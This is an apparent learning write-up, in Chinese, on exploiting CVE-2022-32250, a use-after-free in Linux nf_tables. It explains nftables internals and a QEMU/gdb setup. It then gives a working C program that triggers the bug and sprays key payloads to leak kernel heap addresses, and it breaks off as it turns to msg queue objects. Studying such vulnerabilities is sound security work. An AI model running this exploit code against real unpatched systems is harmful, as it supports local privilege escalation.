cve-2022-32250

学习了一段时间的 kernel pwn 之后,想去看看真实场景的 cve 是怎样的。看了一部分,有点太久了先咕咕咕,之后有时间再说…

分析这个 cve 的过程中遇到的比较大的阻碍是看分析源码比较晕,因为 nftables 不太熟悉。于是本文就从详细记录了一下利用命令行和 library 和 nftables 交互的方式,了解一个大致的结构和逻辑之后,看源码就轻松多了。

nft 是命令行工具,用于在用户空间与 nftables 交互,它的基本使用可以查看: How to Use nftables | Linode Docs。这是一个 Linux 数据包分类框架,有表、链、规则几个概念。

text

table 是指没有特定语义的 chains 的容器。

table 内的 chain 是 rules 的容器。

rule 是要在 chain 中配置的操作。

命令的例子比如:

shell

创建一个表`inet-table`
sudo nft add table inet inet-table

创建用于过滤传出数据包的链`output-filter-chain`
sudo nft add chain inet inet-table output-filter-chain '{ type filter hook output priority 0; }'

向链中添加一条规则,用于对发往`8.8.8.8`的数据包进行计数
sudo nft add rule inet inet-table output-filter-chain ip daddr 8.8.8.8 counter

创建另一条链,该链用于过滤传入数据包,并向其添加一条规则以对目标端口3030 的TCP 数据包进行计数。
sudo nft add chain inet inet-table input-filter-chain '{ type filter hook input priority 0; }' 
sudo nft add rule inet inet-table input-filter-chain tcp dport 3030 counter

rules 包含多个 expression 的操作。register 用于存放满足条件的数据包或者数据。比如下面这个规则,匹配所有源IP地址为 192.168.1.100 且连接状态为新连接的流量,并使用 register set @1 ip saddr 将源IP地址存储到寄存器 @1 中。

text

nft add rule ip filter input ip saddr 192.168.1.100 ct state new counter register set @1 ip saddr

每个 expression 创建一个 nft_expr_type 结构,成员包括:

  • flags:表达式的类型
  • ops :每个表达式类型有不同的功能,具体定义了如何解析、执行或评估该类型的表达式。
  • name 等等。

c

struct nft_expr_type {
	const struct nft_expr_ops	*(*select_ops)(const struct nft_ctx *,
						       const struct nlattr * const tb[]);
	const struct nft_expr_ops	*ops;
	struct list_head		list;
	const char			*name;
	struct module			*owner;
	const struct nla_policy		*policy;
	unsigned int			maxattr;
	u8				family;
	u8				flags;
};

flags 的类型有:

c

#define NFT_EXPR_STATEFUL		0x1
#define NFT_EXPR_GC			0x2

提供了一种高效的方式来管理和查询一组元素(如 IP 地址、端口号、网络等)

shell

sudo nft add table ip filter 
# 创建一个名为 blocklist 的 nft_set
sudo nft add set ip filter blocklist { type ipv4_addr; flags dynamic; }

# 向 blocklist 集合中添加禁止的 IP 地址
sudo nft add element ip filter blocklist { 192.168.1.10, 10.0.0.1 }

# 创建一条规则,丢弃来自 blocklist 集合中 IP 地址的流量 
sudo nft add rule ip filter input ip saddr @blocklist drop

在规则里面可以引用 set 来表示查询数据是否属于这个集合。对这个结构,有一些操作是可以使用的,比如说 lookup 这个方法用于在网络包到达的时查询数据是不是在一个 sets 中。

c

/**
 *	struct nft_set_ops - nf_tables set operations
 *
 *	@lookup: look up an element within the set
 *	@update: update an element if exists, add it if doesn't exist
 *	@delete: delete an element
 *	@insert: insert new element into set
 *	@activate: activate new element in the next generation
 *	@deactivate: lookup for element and deactivate it in the next generation
 *	@flush: deactivate element in the next generation
 *	@remove: remove element from set
 *	@walk: iterate over all set elements
 *	@get: get set elements
 *	@privsize: function to return size of set private data
 *	@init: initialize private data of new set instance
 *	@destroy: destroy private data of set instance
 *	@elemsize: element private size
 *
 *	Operations lookup, update and delete have simpler interfaces, are faster
 *	and currently only used in the packet path. All the rest are slower,
 *	control plane functions.
 */
struct nft_set_ops {
	bool				(*lookup)(const struct net *net,
						  const struct nft_set *set,
						  const u32 *key,
						  const struct nft_set_ext **ext);
	bool				(*update)(struct nft_set *set,
						  const u32 *key,
						  void *(*new)(struct nft_set *,
							       const struct nft_expr *,
							       struct nft_regs *),
						  const struct nft_expr *expr,
						  struct nft_regs *regs,
						  const struct nft_set_ext **ext);
	bool				(*delete)(const struct nft_set *set,
						  const u32 *key);

	int				(*insert)(const struct net *net,
						  const struct nft_set *set,
						  const struct nft_set_elem *elem,
						  struct nft_set_ext **ext);
	void				(*activate)(const struct net *net,
						    const struct nft_set *set,
						    const struct nft_set_elem *elem);
	void *				(*deactivate)(const struct net *net,
						      const struct nft_set *set,
						      const struct nft_set_elem *elem);
	bool				(*flush)(const struct net *net,
						 const struct nft_set *set,
						 void *priv);
	void				(*remove)(const struct net *net,
						  const struct nft_set *set,
						  const struct nft_set_elem *elem);
	void				(*walk)(const struct nft_ctx *ctx,
						struct nft_set *set,
						struct nft_set_iter *iter);
	void *				(*get)(const struct net *net,
					       const struct nft_set *set,
					       const struct nft_set_elem *elem,
					       unsigned int flags);

	u64				(*privsize)(const struct nlattr * const nla[],
						    const struct nft_set_desc *desc);
	bool				(*estimate)(const struct nft_set_desc *desc,
						    u32 features,
						    struct nft_set_estimate *est);
	int				(*init)(const struct nft_set *set,
						const struct nft_set_desc *desc,
						const struct nlattr * const nla[]);
	void				(*destroy)(const struct nft_set *set);
	void				(*gc_init)(const struct nft_set *set);

	unsigned int			elemsize;
};

lookup 结构体有个成员是 binding,有一个双链结构(如果有多个 lookup 就串成双链表)

c

  struct nft_lookup {
	struct nft_set			*set;
	u8				sreg;
	u8				dreg;
	bool				invert;
	struct nft_set_binding		binding;
};


struct nft_set_binding {
	struct list_head		list;
	const struct nft_chain		*chain;
	u32				flags;
};

比如文章中这个图片就很清晰:

和 set 不同的是,dynset 可以有动态的 update 或者 add 操作

特殊的用于计数的 expr

在复现的过程中感觉直接看源码有一点吃力,所以先从交互的代码开始阅读。有一些例子可以看看: libnftnl-ct/examples at master · greearb/libnftnl-ct · GitHub

增加一个 set

c

	// 新增一个空 set payload
	s = nftnl_set_alloc();
	if (s == NULL) {
		perror("OOM");
		exit(EXIT_FAILURE);
	}

	// 设置各种参数
	nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
	nftnl_set_set_str(s, NFTNL_SET_NAME, name);
	nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
	nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
	/* inet service type, see nftables/include/datatypes.h */
	nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
	nftnl_set_set_u32(s, NFTNL_SET_ID, 1);

往 set 里面增加 element,数据在 data 里面

c

	e = nftnl_set_elem_alloc();
	if (e == NULL) {
		perror("OOM");
		exit(EXIT_FAILURE);
	}

	data = 0x1;
	nftnl_set_elem_set(e, NFTNL_SET_ELEM_KEY, &data, sizeof(data));
	nftnl_set_elem_add(s, e);

我们使用 netlink 和 nftables 交互,libmnl是一个专为Netlink通信设计的C语言库。netlink 可以理解成 ioctl 的升级版本。使用 NETLINK_NETFILTER 子协议开启一个 socket 和 nftable 交互:

c

// 打开和 nftables 的连接
	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (nl == NULL) {
		perror("mnl_socket_open");
		exit(EXIT_FAILURE);
	}
// 把进程(pid)绑定到某一个 group 上面,0 表示所有消息
	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
		perror("mnl_socket_bind");
		exit(EXIT_FAILURE);
	}

多条消息可以批量合并到一个数据报中,用过调用 mnl_nlmsg_batch_start() 开启批处理,mnl_nlmsg_batch_stop() 释放它。调用 mnl_nlmsg_batch_next() 才能为批处理中的新消息获取空间。这些函数查看文档:mnl_nlmsg_batch_start(3) — libmnl-doc — Debian experimental — Debian Manpages

c

	seq = time(NULL);
	// 初始化 batch
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

	// 初始化 nftables 的批量操作
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	
	// 推进消息
	mnl_nlmsg_batch_next(batch);

在 batch 里面构造消息,NFT_MSG_NEWSET 这个命令用来新增 set,也是漏洞点相关的命令

c

	// nftnl_nlmsg_build_hdr 函数用来在批处理中构造一个 header。这个消息是 NFT_MSG_NEWSET,创建一个 set
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE|NLM_F_ACK, seq++);
	// 将集合元素的有效载荷(payload)填充到 Netlink 消息中。s 是预先准备好的 set payload
	nftnl_set_elems_nlmsg_build_payload(nlh, s);
	// 用完了,释放 s
	nftnl_set_free(s);
	// 推进批次指针,准备处理下一个 Netlink 消息。
	mnl_nlmsg_batch_next(batch);

向 nftables 发送消息接收消息

c

	// 获取 portid
	portid = mnl_socket_get_portid(nl);

	// 一次性发送消息
	if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
			      mnl_nlmsg_batch_size(batch)) < 0) {
		perror("mnl_socket_send");
		exit(EXIT_FAILURE);
	}

	mnl_nlmsg_batch_stop(batch);

	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	while (ret > 0) {
		// 回调函数解析消息
		ret = mnl_cb_run(buf, ret, 0, portid, NULL, NULL);
		if (ret <= 0)
			break;
		ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	}

如果这个新增的 set 里面含有 expr,那么就会进入这样的一个分支,nft_set_elem_expr_alloc 分配一下相应的 expr

c

// nf_tables_newset 函数:
if (nla[NFTA_SET_EXPR]) {
		expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]);
		if (IS_ERR(expr)) {
			err = PTR_ERR(expr);
			goto err_set_alloc_name;
		}
		set->exprs[0] = expr;
		set->num_exprs++;

会调用 nft_set_elem_expr_alloc 函数,函数里面 nft_expr_init,初始化 expr 。如果在这个函数中处理发生错误,error 了,那就会跳转到处理的地方 err_set_elem_expr

c

struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
					 const struct nft_set *set,
					 const struct nlattr *attr)
{
	struct nft_expr *expr;
	int err;
	
	// 初始化
	expr = nft_expr_init(ctx, attr);
	if (IS_ERR(expr))
		return expr;

	err = -EOPNOTSUPP;
	// 如果没有设置 NFT_EXPR_STATEFUL
	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
		goto err_set_elem_expr;

	if (expr->ops->type->flags & NFT_EXPR_GC) {
		if (set->flags & NFT_SET_TIMEOUT)
			goto err_set_elem_expr;
		if (!set->ops->gc_init)
			goto err_set_elem_expr;
		set->ops->gc_init(set);
	}

	return expr;

// 如果错误就会 nft_expr_destroy
err_set_elem_expr:
	nft_expr_destroy(ctx, expr);
	return ERR_PTR(err);
}

nft_expr_init 中调用 nf_tables_newexpr

c

	err = nf_tables_expr_parse(ctx, nla, &info);
	if (err < 0)
		goto err1;

	err = -ENOMEM;
	expr = kzalloc(info.ops->size, GFP_KERNEL);
	if (expr == NULL)
		goto err2;

	err = nf_tables_newexpr(ctx, &info, expr); // here

nf_tables_newexpr 实际上使用 ops->init 函数来操作,不同 type 的 expr 有不同的 ops 和 ops->init 函数

c

static int nf_tables_newexpr(const struct nft_ctx *ctx,
			     const struct nft_expr_info *info,
			     struct nft_expr *expr)
{
	const struct nft_expr_ops *ops = info->ops;
	int err;

	expr->ops = ops;
	if (ops->init) {
		err = ops->init(ctx, expr, (const struct nlattr **)info->tb);
		if (err < 0)
			goto err1;
	}

对于 lookup 类型的 ops->init 是 nft_lookup_init,会把这个 expr 和 set 进行 binding,也就是双链连在一起

c

static int nft_lookup_init(const struct nft_ctx *ctx,
			   const struct nft_expr *expr,
			   const struct nlattr * const tb[])
{
	struct nft_lookup *priv = nft_expr_priv(expr);
	u8 genmask = nft_genmask_next(ctx->net);
	struct nft_set *set;
	u32 flags;
	int err;

	if (tb[NFTA_LOOKUP_SET] == NULL ||
	    tb[NFTA_LOOKUP_SREG] == NULL)
		return -EINVAL;

	// 找到对应的set 
	set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
				    tb[NFTA_LOOKUP_SET_ID], genmask);
	··· // 各种初始化

	priv->binding.flags = set->flags & NFT_SET_MAP;
	//调用 nf_tables_bind_set() 进行绑定 <---- 将 expression 绑定到 nft_set
	err = nf_tables_bind_set(ctx, set, &priv->binding);	

binding 的部分是这样:

c

// nf_tables_bind_set 函数中

bind:
	binding->chain = ctx->chain;
	list_add_tail_rcu(&binding->list, &set->bindings);
	nft_set_trans_bind(ctx, set);
	set->use++;

	return 0;
}

==所以问题其实在于,当新增一个含有 nft_lookup expr 的 set。如果 expr 被 bind 到 set 之后,这个 expr 设置失败,会被释放,但是 bind 双链并没有解开,那么下一次的双链操作(比如 set 插入新的 expr),就会影响到已经被释放但还是 binding 的"expr"。造成 uaf。==

上链的操作是通过 list_add_tail_rcu(&binding->list, &set->bindings); 来完成的,优化之后大概是这个样子。

c

  82         new->next = next;
   83         new->prev = prev;
   84         rcu_assign_pointer(list_next_rcu(prev), new);
   85         next->prev = new;
   86 }

之前都直接用 qemu + gdb,没用过 kgdb 来调试,按照这个 kgdb调试linux内核以及驱动模块 — 主页) 教的尝试一下。 kgdb 是一种被动调试,不好暂停,而且在新版本的 gdb 连接会有奇怪的问题,所以还是直接 gdb 直接连 qemu 吧。

  • Linux, before commit 520778042ccca019f3ffa136dd0ca565c486cedd (26 May, 2022)
  • Ubuntu <= 22.04 before security patch 我从这里拿源码链接,这个 commit 是 patch 的 commit 的 parent。

命令 make nconfig 开启菜单,找到 Networking Support > Networking Option > Network Packet Filtering Framework > Core Netfilter Configuration,把所有和 nf_tables 的选项勾选,和 nf_tables 没关系的选项不点了(这里弄得有一点晕,我来回调整了几次 config 才把 nf_tables 的模块弄进内核)

text


                        .config - Linux/x86 5.12.0 Kernel Configuration
 ┌── Core Netfilter Configuration ────────────────────────────────────────────────────────────┐
                                                                                             
            < > NetBIOS name service protocol support                                        
            <*> SIP protocol support                                                         
            <*> Connection tracking netlink interface                                        
            [*] NFQUEUE and NFLOG integration with Connection Tracking                       
            {*} Network Address Translation support                                          
            <M> Netfilter nf_tables support                                                  
            [*]   Netfilter nf_tables mixed IPv4/IPv6 tables support                         
            [*]   Netfilter nf_tables netdev tables support                                  
            <M>   Netfilter nf_tables number generator module                                
            <M>   Netfilter nf_tables conntrack module                                       
            <M>   Netfilter nf_tables hardware flow offload module                           
            <M>   Netfilter nf_tables counter module                                         
            <M>   Netfilter nf_tables log module                                             
            <M>   Netfilter nf_tables limit module                                           
            <M>   Netfilter nf_tables masquerade support                                     
            <M>   Netfilter nf_tables redirect support                                       
            <M>   Netfilter nf_tables nat module                                             
            <M>   Netfilter nf_tables tunnel module                                          
            <M>   Netfilter nf_tables stateful object reference module                       
            <M>   Netfilter nf_tables quota module                                           
            <M>   Netfilter nf_tables reject support                                         
            <M>   Netfilter x_tables over nf_tables module                                   
                                                                                             
                                                                                             
 F1HelpF2SymInfoF3Help 2F4ShowAllF5BackF6SaveF7LoadF8SymSearchF9Exit─────────────────┘

菜单之后直接保存退出。保存设置退出后,配置会保存在 .config 文件中。直接编辑这个文件比起菜单更方便一些。 然后进入Kernel Hacking,确保勾选上Kernel debuging选项。

此外还要打开 CONFIG_USER_NS

如果使用新版 gcc 编译旧版本内核需要安装 gcc-11 设置 gcc 版本,make -j8 HOSTCC=gcc-11 CC=gcc-11

然后编译结果在 arch/x86/boot/bzImage

在编译的时候可以看见这些输出:

text

  LD [M]  drivers/thermal/intel/x86_pkg_temp_thermal.ko
  LD [M]  fs/efivarfs/efivarfs.ko
  LD [M]  net/ipv4/netfilter/iptable_nat.ko
  LD [M]  net/ipv4/netfilter/nf_socket_ipv4.ko
  LD [M]  net/ipv4/netfilter/nf_tproxy_ipv4.ko
  LD [M]  net/ipv4/netfilter/nft_reject_ipv4.ko
  LD [M]  net/ipv6/netfilter/nf_socket_ipv6.ko
  LD [M]  net/ipv6/netfilter/nf_tproxy_ipv6.ko
  LD [M]  net/ipv6/netfilter/nft_reject_ipv6.ko
  LD [M]  net/netfilter/nf_dup_netdev.ko
  LD [M]  net/netfilter/nf_log_syslog.ko
  LD [M]  net/netfilter/nft_chain_nat.ko
  LD [M]  net/netfilter/nft_compat.ko
  LD [M]  net/netfilter/nft_dup_netdev.ko
  LD [M]  net/netfilter/nft_flow_offload.ko
  LD [M]  net/netfilter/nft_fwd_netdev.ko
  LD [M]  net/netfilter/nft_hash.ko
  LD [M]  net/netfilter/nft_limit.ko
  LD [M]  net/netfilter/nft_log.ko
  LD [M]  net/netfilter/nft_masq.ko
  LD [M]  net/netfilter/nft_nat.ko
  LD [M]  net/netfilter/nft_objref.ko
  LD [M]  net/netfilter/nft_quota.ko
  LD [M]  net/netfilter/nft_redir.ko
  LD [M]  net/netfilter/nft_reject.ko
  LD [M]  net/netfilter/nft_reject_inet.ko
  LD [M]  net/netfilter/nft_reject_netdev.ko
  LD [M]  net/netfilter/nft_socket.ko
  LD [M]  net/netfilter/nft_tproxy.ko
  LD [M]  net/netfilter/nft_tunnel.ko
  LD [M]  net/netfilter/nft_xfrm.ko
  LD [M]  net/netfilter/xt_LOG.ko
  LD [M]  net/netfilter/xt_mark.ko
  LD [M]  net/netfilter/xt_nat.ko
  LD [M]  net/netfilter/xt_MASQUERADE.ko
  LD [M]  net/netfilter/xt_addrtype.ko

vmlinux 文件可以看见 nft 的符号:

text

[linux-commit-6c46] nm vmlinux | grep nft_table                                                                                  15:56:59
ffffffff81a19a80 t nft_table_disable
ffffffff81a19e90 t nft_table_lookup.part.0
ffffffff82325ec0 d nft_table_policy
ffffffff81a17fd0 t nft_table_validate

shell

wget https://busybox.net/downloads/busybox-1.37.0.tar.bz2
make menuconfig // Setttings 选中 Build static binary (no shared libs)
make -j8
make install

接下来在 _install 文件夹下执行以创建一系列文件:

shell

mkdir -p proc sys dev etc/init.d

之后,在 rootfs 下(即 _install 文件夹下)编写以下 init 挂载脚本:

shell

#!/bin/sh  
echo "INIT SCRIPT"  
mkdir /tmp  
mount -t proc none /proc  
mount -t sysfs none /sys  
mount -t devtmpfs none /dev  
mount -t debugfs none /sys/kernel/debug  
mount -t tmpfs none /tmp  
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"  
setsid /bin/cttyhack setuidgid 1000 /bin/sh

设置 init 脚本的权限,并将 rootfs 打包:

shell

chmod +x ./init  
# 打包命令  
find . | cpio -o --format=newc > ../../rootfs.img  
# 解包命令  
# cpio -idmv < rootfs.img

启动 qemu 的脚本:

shell

qemu-system-x86_64 \
    -m 64M \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \
    -no-reboot \
    -cpu kvm64,+smap,+smep \
    -monitor /dev/null \
    -initrd rootfs.img \
    -net nic,model=virtio \
    -net user \
    -nographic -s -S

在 gdb 启动的脚本里面设置源码和符号,就可以更方便调试了:

shell

add-auto-load-safe-path /home/giacomo/kernel/linux-5.12/linux
file /home/giacomo/kernel/linux-5.12/linux/vmlinux 
source /home/giacomo/kernel/linux-5.12/linux/vmlinux-gdb.py
target remote 127.1:1234

好耶。现在成功搭起来了!

本来想拿 GitHub - theori-io/CVE-2022-32250-exploit 来验证一下环境是不是搭好了。但其实 exp 里面的偏移是针对某个版本的,所以我随便找的一个版本的话,可能打不通的。所以干脆直接上手写吧

shell

sudo apt-get install libmnl-dev libnftnl-dev
// gcc 的链接是有顺序的,所以先 nftnl 再 mnl
gcc exp.c -static -o exp -l nftnl -l mnl -w
unshare a namespace

在过程中发现, nf_tables_newset 函数需要 uid 为 0 才能触发,可以用 unshare 创建一个新的命名空间,在这个命名空间里面可以让进程的 uid 为 0。

增加 set 的时候需要 table 已经建立。而且 lookup 的 expr 需要一个已有的 set。如果执行完成之后,有问题的 set 和对应的 expr 的关系是这个样子的

c

pwndbg> p set
$16 = (struct nft_set *) 0xffff888003b22000

pwndbg> p binding
$17 = (struct nft_set_binding *) 0xffff888003b71318

pwndbg> p *set
$13 = {
  list = {
    next = 0xffff888003b222a8,
    prev = 0xffff888003b222a8
  },
  bindings = {
    next = 0xffff888003b71318,
    prev = 0xffff888003b71318
  },
  ...
  
pwndbg> p *binding
$15 = {
  list = {
    next = 0xffff888003b71318,
    prev = 0xffff888003b71318
  },
  chain = 0x0 <fixed_percpu_data>,
  flags = 0
}

set 结构体的 bindings 字段里面的 next 和 prev 会指向了即将被释放的 expr。而释放的 expr 的 0x10 和 0x18 的位置写上了 set 的地址。

c

pwndbg> p *expr
$23 = {
  ops = 0xffffffff823263e0 <nft_lookup_ops>,
  data = 0xffff888003b71308 ""
}
pwndbg> x/10gx 0xffff888003b71308
0xffff888003b71308:     0xffff888003b22000      0x0000000000000004
0xffff888003b71318:     0xffff888003b71318      0xffff888003b71318
UAF write 怎么做的

再次使用 SET_EXPR 功能,则会在已经释放的 nft_expr 后面再链接一个 nft_expr,造成偏移0x18的uaf 写。根据list 操作的代码和本次参与运算的结构体,可以看出,该uaf写会篡改偏移为0x18 和偏移为0x20的两个字段指向另外两个堆地址。我们这里主要关注偏移0x18,会将其指向一个新的 nft_expr (kmalloc-64)的偏移0x18处。

内核引入了 密钥保留服务key retention service),用以在内核空间存储密钥以供其他服务使用。add_key 系统调用就是用来增加一个密钥 key 的。参数 payload 就是密钥的实际内容,会存放在 user_key_payload 结构体里面

c

NAME
       add_key - add a key to the kernel's key management facility

LIBRARY
       Standard C library (libc, -lc)

SYNOPSIS
       #include <keyutils.h>

       key_serial_t add_key(const char *type, const char *description,
                            const void payload[.plen], size_t plen,
                            key_serial_t keyring);

user_key_payload 这个结构体在这里分配(不过此时的 rcu_head rcu; 还没有分配)

c

int user_preparse(struct key_preparsed_payload *prep)
{
	struct user_key_payload *upayload;
	size_t datalen = prep->datalen;

	if (datalen <= 0 || datalen > 32767 || !prep->data)
		return -EINVAL;

	upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
	if (!upayload)
		return -ENOMEM;

	/* attach the data */
	prep->quotalen = datalen;
	prep->payload.data[0] = upayload;
	upayload->datalen = datalen;
	memcpy(upayload->data, prep->data, datalen);

调用模板:

c

int key_alloc(char *description, char *payload, int payload_len)
{
    return syscall(__NR_add_key,"user", description, payload, payload_len, 
                   KEY_SPEC_PROCESS_KEYRING);
}

expr 分配的大小是 0x38 (四舍五入 0x40)

c

pwndbg> p/x expr_info.ops->size
$4 = 0x38

expr = kzalloc(expr_info.ops->size, GFP_KERNEL_ACCOUNT);
if (expr == NULL)
	goto err2;

而 user_key_payload:

c

pwndbg> ptype upayload
type = struct user_key_payload {
    struct callback_head rcu;
    unsigned short datalen;
    char data[];
} *
虽然可以申请到同一个大小,但是不能恰好申请到之前的 expr 上面

申请一次,然后被释放

text

首先会在内核空间中分配 obj 1  obj2,分配 flag  `GFP_KERNEL`,用以保存 `description` (字符串,最大大小为 4096)、`payload` (普通数据,大小无限制)
分配 obj3 保存 `description` ,分配 obj4 保存 `payload`,分配 flag 皆为 `GFP_KERNEL`
释放 obj1  obj2,返回密钥 id

不过,释放之后总有机会再次申请的,多来几次就可以了

c

#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stddef.h> /* for offsetof */
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>

#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>

#include <inttypes.h>
#include <libmnl/libmnl.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/table.h>
#include <linux/keyctl.h>
#include <stdint.h>
#include <sys/syscall.h>

#define KEY_SPRAY_SIZE 0x50

int key_id[KEY_SPRAY_SIZE];

uint64_t heap_addr;

void print_hex(char* name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }

void leak(char* buf, uint64_t buflen)
{
    for (uint32_t i = 0; i < buflen; i += 8) {
        print_hex("key_content", *(uint64_t*)(buf + i));
    }
}

int key_alloc(char* description, char* payload, int payload_len)
{
    return syscall(__NR_add_key, "user", description, payload, payload_len,
        KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char* buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

void spray_key_payload()
{
    char buf[0x40];
    char buf_p[0x40];
    for (int i = 0; i < KEY_SPRAY_SIZE; i++) {
        memset(buf, i+1, 0x28);
        memset(buf_p, i+0x28+i, 0x28);
        key_id[i] = key_alloc(buf, buf_p, 0x28); // description need to be different
        // printf("----> id:%d\n", key_id[i]);
    }
}

void leak_heap_addr()
{
    char buf[0x40];
    for (int i = 0; i < KEY_SPRAY_SIZE; i++) {
        key_read(key_id[i], buf, 0x28);
        if(buf[6] == (char)0xff) {
            // printf("----> id:%d\n", key_id[i]);
            // leak(buf, 0x28);
            heap_addr = *(uint64_t *) buf;
            printf("[+] leak ");
            print_hex("heap_addr", heap_addr);
        }
    }
}
 
void setup_table_with_stable_set(struct mnl_socket* nl, const char* name)
{
    uint8_t family = NFPROTO_IPV4;
    uint32_t ret;
    // init a table first, so that set can be bind to
    struct nftnl_table* table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, name);
    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); // without table

    struct nftnl_set* set_stable = nftnl_set_alloc();
    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, name);
    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, "set_stable");
    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, 1);

    char buf[MNL_SOCKET_BUFFER_SIZE * 2];

    struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    struct nlmsghdr* nlh;

    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWTABLE, family,
        NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    // add set_stable
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET,
        family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_stable);
    nftnl_set_free(set_stable);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
        mnl_nlmsg_batch_size(batch));
    if (ret == -1) {
        perror("mnl_socket_sendto");
        exit(EXIT_FAILURE);
    }

    printf("[+] setting table %s and set\n", name);
}

void setup_set_with_expr(struct mnl_socket* nl, const char* table,
    const char* name)
{
    uint8_t family = NFPROTO_IPV4;
    struct nftnl_set* s;
    struct nftnl_expr* e;
    char buf[MNL_SOCKET_BUFFER_SIZE * 2];
    struct mnl_nlmsg_batch* batch;
    struct nlmsghdr* nlh;
    uint32_t seq = time(NULL);
    int ret;

    // init a set
    s = nftnl_set_alloc();
    if (s == NULL) {
        perror("OOM");
        exit(EXIT_FAILURE);
    }

    nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
    nftnl_set_set_str(s, NFTNL_SET_NAME, name);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 1);
    /* inet service type, see nftables/include/datatypes.h */
    nftnl_set_set_u32(s, NFTNL_SET_ID, 1);

    // init a expr
    e = nftnl_expr_alloc("lookup");
    if (e == NULL) {
        perror("expr payload oom");
        exit(EXIT_FAILURE);
    }
    nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, "set_stable");
    nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_set_add_expr(s, e);

    // init a batch to send msg
    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET,
        family, NLM_F_CREATE | NLM_F_ACK, seq++);

    nftnl_set_nlmsg_build_payload(nlh, s);
    nftnl_set_free(s);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
        mnl_nlmsg_batch_size(batch));
    if (ret == -1) {
        perror("mnl_socket_sendto");
        exit(EXIT_FAILURE);
    }

    printf("[+] setting set %s and expr\n", name);
}

int main()
{
    struct mnl_socket* nl;

    // socket to connect to NETLINK_NETFILTER
    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    // bind socket to this pid
    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        exit(EXIT_FAILURE);
    }

    setup_table_with_stable_set(nl, "table1");
    setup_table_with_stable_set(nl, "table2");
    setup_table_with_stable_set(nl, "table3");
    setup_table_with_stable_set(nl, "table4");
    // set up a set with expr in it
    setup_set_with_expr(nl, "table1", "set1");
    spray_key_payload();
    // another set to cause uaf
    setup_set_with_expr(nl, "table1", "set2");
    leak_heap_addr();
}
msg_msg 结构体

可以进行近乎任意大小的对象分配。但是由于这个 CVE 只有 0x18 的写入,所以 msg_msg 不好利用,所以选用了 posix_msg_tree_node

使用 mq_open mq_send mq_recv 来打开、发送、接收 msg queue。demo:

c

#include <stdio.h>
